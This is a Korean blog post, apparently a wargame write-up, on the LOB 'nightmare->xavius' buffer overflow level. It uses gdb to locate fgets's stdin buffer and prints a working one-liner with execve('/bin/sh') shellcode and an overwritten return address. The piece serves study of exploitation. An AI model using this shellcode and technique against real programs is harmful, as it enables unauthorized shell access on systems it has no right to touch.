systemhacking/practice

lob nightmare->xavius

qkqhxla1 2015. 1. 30. 17:52

참고1 : http://turtle1000.tistory.com/56

참고2 : http://blog.naver.com/rkwhr415/220141437295


fgets의 stdin은 임시 버퍼가 있다고 한다. 그 임시 버퍼에 쉘코드를 넣어서 리턴주소를 거기로 바꿔주면 된다.

임시 버퍼의 주소는 fgets함수를 호출하기 전의 push를 보면 있다고 한다.

원래의 소스로 xaviu1이라는 실행파일을 만든 후 gdb로 돌려보면.



mov 0x8048a3c %eax 후

push eax를 하는데, 여기서 eax가 임시버퍼가 들어있으며 0x8048a3c 내부에 임시버퍼가 있다.

b *main+26으로 fgets바로 다음에 브레이크포인트를 걸고 살펴보자. 실행후 aaaaaaaa를 입력하면 브레이크포인트에서 멈춰있는데, 여기서 살펴보면 된다.



입력한 aaaaaaaaa가 잘 들어가 있는게 보인다. 리턴주소를 저기로 덮어씌우고 공격하면 된다고한다.

(python -c 'print "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"+"\x90"*19+"\x00\x50\x01\x40"';cat)|./xaviu1

처럼 하니 공격에 성공한다. 참고1의 블로그에서 리턴주소가 \x00이 아닌 곳을 선택하고 쉘코드도 17바이트짜리를 선택했는데 왜 그랬는지는 잘 모르겠다. 저 블로그에서 해당 영역에 실행 권한이 있는지 확인하는 방법도 알아두자.



'systemhacking > practice' 카테고리의 다른 글

io.smash the stack 1~5  (0) 2015.02.12
bof xavius->death_knight  (0) 2015.02.01
lob succubus->nightmare  (0) 2015.01.30
lob zombie_assassin->succubus  (0) 2015.01.29
lob assassin->zombie_assassin (fake ebp)  (0) 2015.01.28